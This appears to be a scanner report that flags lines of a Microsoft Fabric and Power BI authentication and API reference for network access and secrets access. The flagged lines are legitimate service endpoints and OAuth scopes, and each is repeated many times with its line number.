| **SQL Database TDS** | `<unique-id>.database.windows.net:1433` | | **XMLA Endpoint** | `powerbi://api.powerbi.com/v1.0/myorg/<workspace>` | | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` | - Network accessline 43
| **SQL Database TDS** | `<unique-id>.database.windows.net:1433` | | **XMLA Endpoint** | `powerbi://api.powerbi.com/v1.0/myorg/<workspace>` | | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` | - Network accessline 44
| **XMLA Endpoint** | `powerbi://api.powerbi.com/v1.0/myorg/<workspace>` | | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` | | **Power BI REST API** | `https://api.powerbi.com/v1.0/myorg/` | - Network accessline 44
| **XMLA Endpoint** | `powerbi://api.powerbi.com/v1.0/myorg/<workspace>` | | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` | | **Power BI REST API** | `https://api.powerbi.com/v1.0/myorg/` | - Network accessline 44
| **XMLA Endpoint** | `powerbi://api.powerbi.com/v1.0/myorg/<workspace>` | | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` | | **Power BI REST API** | `https://api.powerbi.com/v1.0/myorg/` | - Network accessline 44
| **XMLA Endpoint** | `powerbi://api.powerbi.com/v1.0/myorg/<workspace>` | | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` | | **Power BI REST API** | `https://api.powerbi.com/v1.0/myorg/` | - Network accessline 44
| **XMLA Endpoint** | `powerbi://api.powerbi.com/v1.0/myorg/<workspace>` | | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` | | **Power BI REST API** | `https://api.powerbi.com/v1.0/myorg/` | - Network accessline 44
| **XMLA Endpoint** | `powerbi://api.powerbi.com/v1.0/myorg/<workspace>` | | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` | | **Power BI REST API** | `https://api.powerbi.com/v1.0/myorg/` | - Network accessline 44
| **XMLA Endpoint** | `powerbi://api.powerbi.com/v1.0/myorg/<workspace>` | | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` | | **Power BI REST API** | `https://api.powerbi.com/v1.0/myorg/` | - Network accessline 44
| **XMLA Endpoint** | `powerbi://api.powerbi.com/v1.0/myorg/<workspace>` | | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` | | **Power BI REST API** | `https://api.powerbi.com/v1.0/myorg/` | - Network accessline 45
| **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` | - Network accessline 45
| **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` | - Network accessline 45
| **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` | - Network accessline 45
| **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` | - Network accessline 45
| **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` | - Network accessline 45
| **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` | - Network accessline 45
| **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` | - Network accessline 45
| **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` | - Network accessline 46
| **Power BI REST API** | `https://api.powerbi.com/v1.0/myorg/` | - Network accessline 46
| **Power BI REST API** | `https://api.powerbi.com/v1.0/myorg/` | - Network accessline 46
| **Power BI REST API** | `https://api.powerbi.com/v1.0/myorg/` | - Network accessline 46
| **Power BI REST API** | `https://api.powerbi.com/v1.0/myorg/` | - Network accessline 46
| **Power BI REST API** | `https://api.powerbi.com/v1.0/myorg/` | - Network accessline 46
| **Power BI REST API** | `https://api.powerbi.com/v1.0/myorg/` | - Network accessline 46
| **Power BI REST API** | `https://api.powerbi.com/v1.0/myorg/` | - Network accessline 46
| **Power BI REST API** | `https://api.powerbi.com/v1.0/myorg/` | - Network accessline 47
| **KQL Cluster URI** | `https://trd-<hash>.z<n>.kusto.fabric.microsoft.com` (per-item) | - Network accessline 47
| **KQL Cluster URI** | `https://trd-<hash>.z<n>.kusto.fabric.microsoft.com` (per-item) | - Network accessline 47
| **KQL Cluster URI** | `https://trd-<hash>.z<n>.kusto.fabric.microsoft.com` (per-item) | - Network accessline 47
| **KQL Cluster URI** | `https://trd-<hash>.z<n>.kusto.fabric.microsoft.com` (per-item) | - Network accessline 47
| **KQL Cluster URI** | `https://trd-<hash>.z<n>.kusto.fabric.microsoft.com` (per-item) | - Network accessline 47
| **KQL Cluster URI** | `https://trd-<hash>.z<n>.kusto.fabric.microsoft.com` (per-item) | - Network accessline 47
| **KQL Cluster URI** | `https://trd-<hash>.z<n>.kusto.fabric.microsoft.com` (per-item) | - Network accessline 47
| **KQL Cluster URI** | `https://trd-<hash>.z<n>.kusto.fabric.microsoft.com` (per-item) | - Network accessline 48
| **KQL Ingestion URI** | `https://ingest-trd-<hash>.z<n>.kusto.fabric.microsoft.com` (per-item) | - Network accessline 48
| **KQL Ingestion URI** | `https://ingest-trd-<hash>.z<n>.kusto.fabric.microsoft.com` (per-item) | - Network accessline 48
| **KQL Ingestion URI** | `https://ingest-trd-<hash>.z<n>.kusto.fabric.microsoft.com` (per-item) | - Network accessline 48
| **KQL Ingestion URI** | `https://ingest-trd-<hash>.z<n>.kusto.fabric.microsoft.com` (per-item) | - Network accessline 48
| **KQL Ingestion URI** | `https://ingest-trd-<hash>.z<n>.kusto.fabric.microsoft.com` (per-item) | - Network accessline 48
| **KQL Ingestion URI** | `https://ingest-trd-<hash>.z<n>.kusto.fabric.microsoft.com` (per-item) | - Network accessline 48
| **KQL Ingestion URI** | `https://ingest-trd-<hash>.z<n>.kusto.fabric.microsoft.com` (per-item) | - Network accessline 48
| **KQL Ingestion URI** | `https://ingest-trd-<hash>.z<n>.kusto.fabric.microsoft.com` (per-item) | - Network accessline 61
| Access Target | Token Audience / Scope | |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` | - Network accessline 61
| Access Target | Token Audience / Scope | |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` | - Network accessline 61
| Access Target | Token Audience / Scope | |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` | - Network accessline 61
| Access Target | Token Audience / Scope | |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` | - Network accessline 61
| Access Target | Token Audience / Scope | |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` | - Network accessline 61
| Access Target | Token Audience / Scope | |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` | - Network accessline 61
| Access Target | Token Audience / Scope | |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` | - Network accessline 61
| Access Target | Token Audience / Scope | |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` | - Network accessline 62
|---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` | | **Power BI REST API** (legacy) | `https://analysis.windows.net/powerbi/api/.default` | - Network accessline 62
|---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` | | **Power BI REST API** (legacy) | `https://analysis.windows.net/powerbi/api/.default` | - Network accessline 62
|---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` | | **Power BI REST API** (legacy) | `https://analysis.windows.net/powerbi/api/.default` | - Network accessline 62
|---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` | | **Power BI REST API** (legacy) | `https://analysis.windows.net/powerbi/api/.default` | - Network accessline 62
|---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` | | **Power BI REST API** (legacy) | `https://analysis.windows.net/powerbi/api/.default` | - Network accessline 62
|---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` | | **Power BI REST API** (legacy) | `https://analysis.windows.net/powerbi/api/.default` | - Network accessline 62
|---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` | | **Power BI REST API** (legacy) | `https://analysis.windows.net/powerbi/api/.default` | - Network accessline 62
|---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` | | **Power BI REST API** (legacy) | `https://analysis.windows.net/powerbi/api/.default` | - Network accessline 63
| **Fabric REST API** | `https://api.fabric.microsoft.com/.default` | - Network accessline 63
| **Fabric REST API** | `https://api.fabric.microsoft.com/.default` | - Network accessline 63
| **Fabric REST API** | `https://api.fabric.microsoft.com/.default` | - Network accessline 63
| **Fabric REST API** | `https://api.fabric.microsoft.com/.default` | - Network accessline 63
| **Fabric REST API** | `https://api.fabric.microsoft.com/.default` | - Network accessline 63
| **Fabric REST API** | `https://api.fabric.microsoft.com/.default` | - Network accessline 63
| **Fabric REST API** | `https://api.fabric.microsoft.com/.default` | - Network accessline 63
| **Fabric REST API** | `https://api.fabric.microsoft.com/.default` | - Network accessline 64
| **Power BI REST API** (legacy) | `https://analysis.windows.net/powerbi/api/.default` | - Network accessline 64
| **Power BI REST API** (legacy) | `https://analysis.windows.net/powerbi/api/.default` | - Network accessline 64
| **Power BI REST API** (legacy) | `https://analysis.windows.net/powerbi/api/.default` | - Network accessline 64
| **Power BI REST API** (legacy) | `https://analysis.windows.net/powerbi/api/.default` | - Network accessline 64
| **Power BI REST API** (legacy) | `https://analysis.windows.net/powerbi/api/.default` | - Network accessline 64
| **Power BI REST API** (legacy) | `https://analysis.windows.net/powerbi/api/.default` | - Network accessline 64
| **Power BI REST API** (legacy) | `https://analysis.windows.net/powerbi/api/.default` | - Network accessline 64
| **Power BI REST API** (legacy) | `https://analysis.windows.net/powerbi/api/.default` | - Network accessline 65
| **OneLake** (DFS / Blob) | `https://storage.azure.com/.default` | - Network accessline 65
| **OneLake** (DFS / Blob) | `https://storage.azure.com/.default` | - Network accessline 65
| **OneLake** (DFS / Blob) | `https://storage.azure.com/.default` | - Network accessline 65
| **OneLake** (DFS / Blob) | `https://storage.azure.com/.default` | - Network accessline 65
| **OneLake** (DFS / Blob) | `https://storage.azure.com/.default` | - Network accessline 65
| **OneLake** (DFS / Blob) | `https://storage.azure.com/.default` | - Network accessline 65
| **OneLake** (DFS / Blob) | `https://storage.azure.com/.default` | - Network accessline 65
| **OneLake** (DFS / Blob) | `https://storage.azure.com/.default` | - Network accessline 66
| **Warehouse / SQL Endpoint / SQL Database** (TDS) | `https://database.windows.net/.default` | - Network accessline 66
| **Warehouse / SQL Endpoint / SQL Database** (TDS) | `https://database.windows.net/.default` | - Network accessline 66
| **Warehouse / SQL Endpoint / SQL Database** (TDS) | `https://database.windows.net/.default` | - Network accessline 66
| **Warehouse / SQL Endpoint / SQL Database** (TDS) | `https://database.windows.net/.default` | - Network accessline 66
| **Warehouse / SQL Endpoint / SQL Database** (TDS) | `https://database.windows.net/.default` | - Network accessline 66
| **Warehouse / SQL Endpoint / SQL Database** (TDS) | `https://database.windows.net/.default` | - Network accessline 66
| **Warehouse / SQL Endpoint / SQL Database** (TDS) | `https://database.windows.net/.default` | - Network accessline 66
| **Warehouse / SQL Endpoint / SQL Database** (TDS) | `https://database.windows.net/.default` | - Network accessline 67
| **KQL / Kusto** | `https://kusto.kusto.windows.net/.default` (or per-cluster URI) | - Network accessline 67
| **KQL / Kusto** | `https://kusto.kusto.windows.net/.default` (or per-cluster URI) | - Network accessline 67
| **KQL / Kusto** | `https://kusto.kusto.windows.net/.default` (or per-cluster URI) | - Network accessline 67
| **KQL / Kusto** | `https://kusto.kusto.windows.net/.default` (or per-cluster URI) | - Network accessline 67
| **KQL / Kusto** | `https://kusto.kusto.windows.net/.default` (or per-cluster URI) | - Network accessline 67
| **KQL / Kusto** | `https://kusto.kusto.windows.net/.default` (or per-cluster URI) | - Network accessline 67
| **KQL / Kusto** | `https://kusto.kusto.windows.net/.default` (or per-cluster URI) | - Network accessline 67
| **KQL / Kusto** | `https://kusto.kusto.windows.net/.default` (or per-cluster URI) | - Network accessline 68
| **XMLA Endpoint** | `https://analysis.windows.net/powerbi/api/.default` | - Network accessline 68
| **XMLA Endpoint** | `https://analysis.windows.net/powerbi/api/.default` | - Network accessline 68
| **XMLA Endpoint** | `https://analysis.windows.net/powerbi/api/.default` | - Network accessline 68
| **XMLA Endpoint** | `https://analysis.windows.net/powerbi/api/.default` | - Network accessline 68
| **XMLA Endpoint** | `https://analysis.windows.net/powerbi/api/.default` | - Network accessline 68
| **XMLA Endpoint** | `https://analysis.windows.net/powerbi/api/.default` | - Network accessline 68
| **XMLA Endpoint** | `https://analysis.windows.net/powerbi/api/.default` | - Network accessline 68
| **XMLA Endpoint** | `https://analysis.windows.net/powerbi/api/.default` | - Network accessline 69
| **Azure Resource Management** | `https://management.azure.com/.default` | - Network accessline 69
| **Azure Resource Management** | `https://management.azure.com/.default` | - Network accessline 69
| **Azure Resource Management** | `https://management.azure.com/.default` | - Network accessline 69
| **Azure Resource Management** | `https://management.azure.com/.default` | - Network accessline 69
| **Azure Resource Management** | `https://management.azure.com/.default` | - Network accessline 69
| **Azure Resource Management** | `https://management.azure.com/.default` | - Network accessline 69
| **Azure Resource Management** | `https://management.azure.com/.default` | - Network accessline 69
| **Azure Resource Management** | `https://management.azure.com/.default` | - Network accessline 71
> **OneLake**: Only accepts `https://storage.azure.com/.default`. Using `https://datalake.azure.net/` will fail. - Network accessline 71
> **OneLake**: Only accepts `https://storage.azure.com/.default`. Using `https://datalake.azure.net/` will fail. - Network accessline 71
> **OneLake**: Only accepts `https://storage.azure.com/.default`. Using `https://datalake.azure.net/` will fail. - Network accessline 71
> **OneLake**: Only accepts `https://storage.azure.com/.default`. Using `https://datalake.azure.net/` will fail. - Network accessline 71
> **OneLake**: Only accepts `https://storage.azure.com/.default`. Using `https://datalake.azure.net/` will fail. - Network accessline 71
> **OneLake**: Only accepts `https://storage.azure.com/.default`. Using `https://datalake.azure.net/` will fail. - Network accessline 71
> **OneLake**: Only accepts `https://storage.azure.com/.default`. Using `https://datalake.azure.net/` will fail. - Network accessline 71
> **OneLake**: Only accepts `https://storage.azure.com/.default`. Using `https://datalake.azure.net/` will fail. - Network accessline 72
> > **SQL double-slash gotcha**: With MSAL v1.0 endpoint, the scope must be `https://database.windows.net//.default` (double slash). The v2.0 endpoint handles this correctly. > - Network accessline 72
> > **SQL double-slash gotcha**: With MSAL v1.0 endpoint, the scope must be `https://database.windows.net//.default` (double slash). The v2.0 endpoint handles this correctly. > - Network accessline 72
> > **SQL double-slash gotcha**: With MSAL v1.0 endpoint, the scope must be `https://database.windows.net//.default` (double slash). The v2.0 endpoint handles this correctly. > - Network accessline 72
> > **SQL double-slash gotcha**: With MSAL v1.0 endpoint, the scope must be `https://database.windows.net//.default` (double slash). The v2.0 endpoint handles this correctly. > - Network accessline 72
> > **SQL double-slash gotcha**: With MSAL v1.0 endpoint, the scope must be `https://database.windows.net//.default` (double slash). The v2.0 endpoint handles this correctly. > - Network accessline 72
> > **SQL double-slash gotcha**: With MSAL v1.0 endpoint, the scope must be `https://database.windows.net//.default` (double slash). The v2.0 endpoint handles this correctly. > - Network accessline 72
> > **SQL double-slash gotcha**: With MSAL v1.0 endpoint, the scope must be `https://database.windows.net//.default` (double slash). The v2.0 endpoint handles this correctly. > - Network accessline 72
> > **SQL double-slash gotcha**: With MSAL v1.0 endpoint, the scope must be `https://database.windows.net//.default` (double slash). The v2.0 endpoint handles this correctly. > - Network accessline 73
> **SQL double-slash gotcha**: With MSAL v1.0 endpoint, the scope must be `https://database.windows.net//.default` (double slash). The v2.0 endpoint handles this correctly. - Network accessline 73
> **SQL double-slash gotcha**: With MSAL v1.0 endpoint, the scope must be `https://database.windows.net//.default` (double slash). The v2.0 endpoint handles this correctly. - Network accessline 73
> **SQL double-slash gotcha**: With MSAL v1.0 endpoint, the scope must be `https://database.windows.net//.default` (double slash). The v2.0 endpoint handles this correctly. - Network accessline 73
> **SQL double-slash gotcha**: With MSAL v1.0 endpoint, the scope must be `https://database.windows.net//.default` (double slash). The v2.0 endpoint handles this correctly. - Network accessline 73
> **SQL double-slash gotcha**: With MSAL v1.0 endpoint, the scope must be `https://database.windows.net//.default` (double slash). The v2.0 endpoint handles this correctly. - Network accessline 73
> **SQL double-slash gotcha**: With MSAL v1.0 endpoint, the scope must be `https://database.windows.net//.default` (double slash). The v2.0 endpoint handles this correctly. - Network accessline 73
> **SQL double-slash gotcha**: With MSAL v1.0 endpoint, the scope must be `https://database.windows.net//.default` (double slash). The v2.0 endpoint handles this correctly. - Network accessline 73
> **SQL double-slash gotcha**: With MSAL v1.0 endpoint, the scope must be `https://database.windows.net//.default` (double slash). The v2.0 endpoint handles this correctly. - Network accessline 75
> Ref: https://learn.microsoft.com/en-us/rest/api/fabric/articles/scopes - Network accessline 75
> Ref: https://learn.microsoft.com/en-us/rest/api/fabric/articles/scopes - Network accessline 75
> Ref: https://learn.microsoft.com/en-us/rest/api/fabric/articles/scopes - Network accessline 75
> Ref: https://learn.microsoft.com/en-us/rest/api/fabric/articles/scopes - Network accessline 75
> Ref: https://learn.microsoft.com/en-us/rest/api/fabric/articles/scopes - Network accessline 75
> Ref: https://learn.microsoft.com/en-us/rest/api/fabric/articles/scopes - Network accessline 75
> Ref: https://learn.microsoft.com/en-us/rest/api/fabric/articles/scopes - Network accessline 75
> Ref: https://learn.microsoft.com/en-us/rest/api/fabric/articles/scopes - Network accessline 87
**Endpoint:** `POST https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` - Network accessline 87
**Endpoint:** `POST https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` - Network accessline 87
**Endpoint:** `POST https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` - Network accessline 87
**Endpoint:** `POST https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` - Network accessline 87
**Endpoint:** `POST https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` - Network accessline 87
**Endpoint:** `POST https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` - Network accessline 87
**Endpoint:** `POST https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` - Network accessline 87
**Endpoint:** `POST https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` - Network accessline 91
[Credential-related source omitted] - Network accessline 91
[Credential-related source omitted] - Network accessline 91
[Credential-related source omitted] - Network accessline 91
[Credential-related source omitted] - Network accessline 91
[Credential-related source omitted] - Network accessline 91
[Credential-related source omitted] - Network accessline 91
[Credential-related source omitted] - Network accessline 91
[Credential-related source omitted] - Access to secretsline 91
[Credential-related source omitted] - Access to secretsline 91
[Credential-related source omitted] - Access to secretsline 91
[Credential-related source omitted] - Access to secretsline 91
[Credential-related source omitted] - Access to secretsline 91
[Credential-related source omitted] - Access to secretsline 91
[Credential-related source omitted] - Access to secretsline 91
[Credential-related source omitted] - Access to secretsline 91
[Credential-related source omitted] - Network accessline 94
**Device Code:** 1. `POST .../oauth2/v2.0/devicecode` with `client_id=<appId>&scope=https://api.fabric.microsoft.com/.default` - Network accessline 94
**Device Code:** 1. `POST .../oauth2/v2.0/devicecode` with `client_id=<appId>&scope=https://api.fabric.microsoft.com/.default` - Network accessline 94
**Device Code:** 1. `POST .../oauth2/v2.0/devicecode` with `client_id=<appId>&scope=https://api.fabric.microsoft.com/.default` - Network accessline 94
**Device Code:** 1. `POST .../oauth2/v2.0/devicecode` with `client_id=<appId>&scope=https://api.fabric.microsoft.com/.default` - Network accessline 94
**Device Code:** 1. `POST .../oauth2/v2.0/devicecode` with `client_id=<appId>&scope=https://api.fabric.microsoft.com/.default` - Network accessline 94
**Device Code:** 1. `POST .../oauth2/v2.0/devicecode` with `client_id=<appId>&scope=https://api.fabric.microsoft.com/.default` - Network accessline 94
**Device Code:** 1. `POST .../oauth2/v2.0/devicecode` with `client_id=<appId>&scope=https://api.fabric.microsoft.com/.default` - Network accessline 94
**Device Code:** 1. `POST .../oauth2/v2.0/devicecode` with `client_id=<appId>&scope=https://api.fabric.microsoft.com/.default` - Network accessline 95
1. `POST .../oauth2/v2.0/devicecode` with `client_id=<appId>&scope=https://api.fabric.microsoft.com/.default` - Network accessline 95
1. `POST .../oauth2/v2.0/devicecode` with `client_id=<appId>&scope=https://api.fabric.microsoft.com/.default` - Network accessline 95
1. `POST .../oauth2/v2.0/devicecode` with `client_id=<appId>&scope=https://api.fabric.microsoft.com/.default` - Network accessline 95
1. `POST .../oauth2/v2.0/devicecode` with `client_id=<appId>&scope=https://api.fabric.microsoft.com/.default` - Network accessline 95
1. `POST .../oauth2/v2.0/devicecode` with `client_id=<appId>&scope=https://api.fabric.microsoft.com/.default` - Network accessline 95
1. `POST .../oauth2/v2.0/devicecode` with `client_id=<appId>&scope=https://api.fabric.microsoft.com/.default` - Network accessline 95
1. `POST .../oauth2/v2.0/devicecode` with `client_id=<appId>&scope=https://api.fabric.microsoft.com/.default` - Network accessline 95
1. `POST .../oauth2/v2.0/devicecode` with `client_id=<appId>&scope=https://api.fabric.microsoft.com/.default` - Network accessline 109
1. **App Registration**: Create at `https://entra.microsoft.com` > Applications > App registrations. - Network accessline 109
1. **App Registration**: Create at `https://entra.microsoft.com` > Applications > App registrations. - Network accessline 109
1. **App Registration**: Create at `https://entra.microsoft.com` > Applications > App registrations. - Network accessline 109
1. **App Registration**: Create at `https://entra.microsoft.com` > Applications > App registrations. - Network accessline 109
1. **App Registration**: Create at `https://entra.microsoft.com` > Applications > App registrations. - Network accessline 109
1. **App Registration**: Create at `https://entra.microsoft.com` > Applications > App registrations. - Network accessline 109
1. **App Registration**: Create at `https://entra.microsoft.com` > Applications > App registrations. - Network accessline 109
1. **App Registration**: Create at `https://entra.microsoft.com` > Applications > App registrations. - Network accessline 110
2. **Redirect URI**: For interactive flows, add `http://localhost` as Mobile/Desktop redirect URI. - Network accessline 110
2. **Redirect URI**: For interactive flows, add `http://localhost` as Mobile/Desktop redirect URI. - Network accessline 110
2. **Redirect URI**: For interactive flows, add `http://localhost` as Mobile/Desktop redirect URI. - Network accessline 110
2. **Redirect URI**: For interactive flows, add `http://localhost` as Mobile/Desktop redirect URI. - Network accessline 110
2. **Redirect URI**: For interactive flows, add `http://localhost` as Mobile/Desktop redirect URI. - Network accessline 110
2. **Redirect URI**: For interactive flows, add `http://localhost` as Mobile/Desktop redirect URI. - Network accessline 110
2. **Redirect URI**: For interactive flows, add `http://localhost` as Mobile/Desktop redirect URI. - Network accessline 110
2. **Redirect URI**: For interactive flows, add `http://localhost` as Mobile/Desktop redirect URI. - Network accessline 116
Base URL: `https://api.fabric.microsoft.com/v1` - Network accessline 116
Base URL: `https://api.fabric.microsoft.com/v1` - Network accessline 116
Base URL: `https://api.fabric.microsoft.com/v1` - Network accessline 116
Base URL: `https://api.fabric.microsoft.com/v1` - Network accessline 116
Base URL: `https://api.fabric.microsoft.com/v1` - Network accessline 116
Base URL: `https://api.fabric.microsoft.com/v1` - Network accessline 116
Base URL: `https://api.fabric.microsoft.com/v1` - Network accessline 116
Base URL: `https://api.fabric.microsoft.com/v1` - Network accessline 181
**Prefer direct ID lookup whenever a workspace UUID is available** (from a prior create response, earlier list result already in context, or explicit user input): call `GET /v1/workspaces/<workspaceId>` directly. Permission-checked direct l - Network accessline 181
**Prefer direct ID lookup whenever a workspace UUID is available** (from a prior create response, earlier list result already in context, or explicit user input): call `GET /v1/workspaces/<workspaceId>` directly. Permission-checked direct l - Network accessline 181
**Prefer direct ID lookup whenever a workspace UUID is available** (from a prior create response, earlier list result already in context, or explicit user input): call `GET /v1/workspaces/<workspaceId>` directly. Permission-checked direct l - Network accessline 181
**Prefer direct ID lookup whenever a workspace UUID is available** (from a prior create response, earlier list result already in context, or explicit user input): call `GET /v1/workspaces/<workspaceId>` directly. Permission-checked direct l - Network accessline 181
**Prefer direct ID lookup whenever a workspace UUID is available** (from a prior create response, earlier list result already in context, or explicit user input): call `GET /v1/workspaces/<workspaceId>` directly. Permission-checked direct l - Network accessline 181
**Prefer direct ID lookup whenever a workspace UUID is available** (from a prior create response, earlier list result already in context, or explicit user input): call `GET /v1/workspaces/<workspaceId>` directly. Permission-checked direct l - Network accessline 181
**Prefer direct ID lookup whenever a workspace UUID is available** (from a prior create response, earlier list result already in context, or explicit user input): call `GET /v1/workspaces/<workspaceId>` directly. Permission-checked direct l - Network accessline 181
**Prefer direct ID lookup whenever a workspace UUID is available** (from a prior create response, earlier list result already in context, or explicit user input): call `GET /v1/workspaces/<workspaceId>` directly. Permission-checked direct l - Network accessline 188
> **Filter on `displayName`, not `name`.** The Workspace object exposes `displayName`, not `name` (see [List Workspaces reference](https://learn.microsoft.com/en-us/rest/api/fabric/core/workspaces/list-workspaces)). JMESPath queries on `nam - Network accessline 188
> **Filter on `displayName`, not `name`.** The Workspace object exposes `displayName`, not `name` (see [List Workspaces reference](https://learn.microsoft.com/en-us/rest/api/fabric/core/workspaces/list-workspaces)). JMESPath queries on `nam - Network accessline 188
> **Filter on `displayName`, not `name`.** The Workspace object exposes `displayName`, not `name` (see [List Workspaces reference](https://learn.microsoft.com/en-us/rest/api/fabric/core/workspaces/list-workspaces)). JMESPath queries on `nam - Network accessline 188
> **Filter on `displayName`, not `name`.** The Workspace object exposes `displayName`, not `name` (see [List Workspaces reference](https://learn.microsoft.com/en-us/rest/api/fabric/core/workspaces/list-workspaces)). JMESPath queries on `nam - Network accessline 188
> **Filter on `displayName`, not `name`.** The Workspace object exposes `displayName`, not `name` (see [List Workspaces reference](https://learn.microsoft.com/en-us/rest/api/fabric/core/workspaces/list-workspaces)). JMESPath queries on `nam - Network accessline 188
> **Filter on `displayName`, not `name`.** The Workspace object exposes `displayName`, not `name` (see [List Workspaces reference](https://learn.microsoft.com/en-us/rest/api/fabric/core/workspaces/list-workspaces)). JMESPath queries on `nam - Network accessline 188
> **Filter on `displayName`, not `name`.** The Workspace object exposes `displayName`, not `name` (see [List Workspaces reference](https://learn.microsoft.com/en-us/rest/api/fabric/core/workspaces/list-workspaces)). JMESPath queries on `nam - Network accessline 188
> **Filter on `displayName`, not `name`.** The Workspace object exposes `displayName`, not `name` (see [List Workspaces reference](https://learn.microsoft.com/en-us/rest/api/fabric/core/workspaces/list-workspaces)). JMESPath queries on `nam - Network accessline 273
> Ref: https://learn.microsoft.com/en-us/rest/api/fabric/articles/long-running-operation - Network accessline 273
> Ref: https://learn.microsoft.com/en-us/rest/api/fabric/articles/long-running-operation - Network accessline 273
> Ref: https://learn.microsoft.com/en-us/rest/api/fabric/articles/long-running-operation - Network accessline 273
> Ref: https://learn.microsoft.com/en-us/rest/api/fabric/articles/long-running-operation - Network accessline 273
> Ref: https://learn.microsoft.com/en-us/rest/api/fabric/articles/long-running-operation - Network accessline 273
> Ref: https://learn.microsoft.com/en-us/rest/api/fabric/articles/long-running-operation - Network accessline 273
> Ref: https://learn.microsoft.com/en-us/rest/api/fabric/articles/long-running-operation - Network accessline 273
> Ref: https://learn.microsoft.com/en-us/rest/api/fabric/articles/long-running-operation - Network accessline 306
https://onelake.dfs.fabric.microsoft.com/<workspace>/<item>.<itemtype>/<path> - Network accessline 306
https://onelake.dfs.fabric.microsoft.com/<workspace>/<item>.<itemtype>/<path> - Network accessline 306
https://onelake.dfs.fabric.microsoft.com/<workspace>/<item>.<itemtype>/<path> - Network accessline 306
https://onelake.dfs.fabric.microsoft.com/<workspace>/<item>.<itemtype>/<path> - Network accessline 306
https://onelake.dfs.fabric.microsoft.com/<workspace>/<item>.<itemtype>/<path> - Network accessline 306
https://onelake.dfs.fabric.microsoft.com/<workspace>/<item>.<itemtype>/<path> - Network accessline 306
https://onelake.dfs.fabric.microsoft.com/<workspace>/<item>.<itemtype>/<path> - Network accessline 306
https://onelake.dfs.fabric.microsoft.com/<workspace>/<item>.<itemtype>/<path> - Network accessline 317
OneLake **only** accepts `scope = https://storage.azure.com/.default`. Other audiences will return `401 — Audience validation failed`. - Network accessline 317
OneLake **only** accepts `scope = https://storage.azure.com/.default`. Other audiences will return `401 — Audience validation failed`. - Network accessline 317
OneLake **only** accepts `scope = https://storage.azure.com/.default`. Other audiences will return `401 — Audience validation failed`. - Network accessline 317
OneLake **only** accepts `scope = https://storage.azure.com/.default`. Other audiences will return `401 — Audience validation failed`. - Network accessline 317
OneLake **only** accepts `scope = https://storage.azure.com/.default`. Other audiences will return `401 — Audience validation failed`. - Network accessline 317
OneLake **only** accepts `scope = https://storage.azure.com/.default`. Other audiences will return `401 — Audience validation failed`. - Network accessline 317
OneLake **only** accepts `scope = https://storage.azure.com/.default`. Other audiences will return `401 — Audience validation failed`. - Network accessline 317
OneLake **only** accepts `scope = https://storage.azure.com/.default`. Other audiences will return `401 — Audience validation failed`. - Network accessline 321
> Ref: https://learn.microsoft.com/en-us/fabric/onelake/onelake-api-parity - Network accessline 321
> Ref: https://learn.microsoft.com/en-us/fabric/onelake/onelake-api-parity - Network accessline 321
> Ref: https://learn.microsoft.com/en-us/fabric/onelake/onelake-api-parity - Network accessline 321
> Ref: https://learn.microsoft.com/en-us/fabric/onelake/onelake-api-parity - Network accessline 321
> Ref: https://learn.microsoft.com/en-us/fabric/onelake/onelake-api-parity - Network accessline 321
> Ref: https://learn.microsoft.com/en-us/fabric/onelake/onelake-api-parity - Network accessline 321
> Ref: https://learn.microsoft.com/en-us/fabric/onelake/onelake-api-parity - Network accessline 321
> Ref: https://learn.microsoft.com/en-us/fabric/onelake/onelake-api-parity
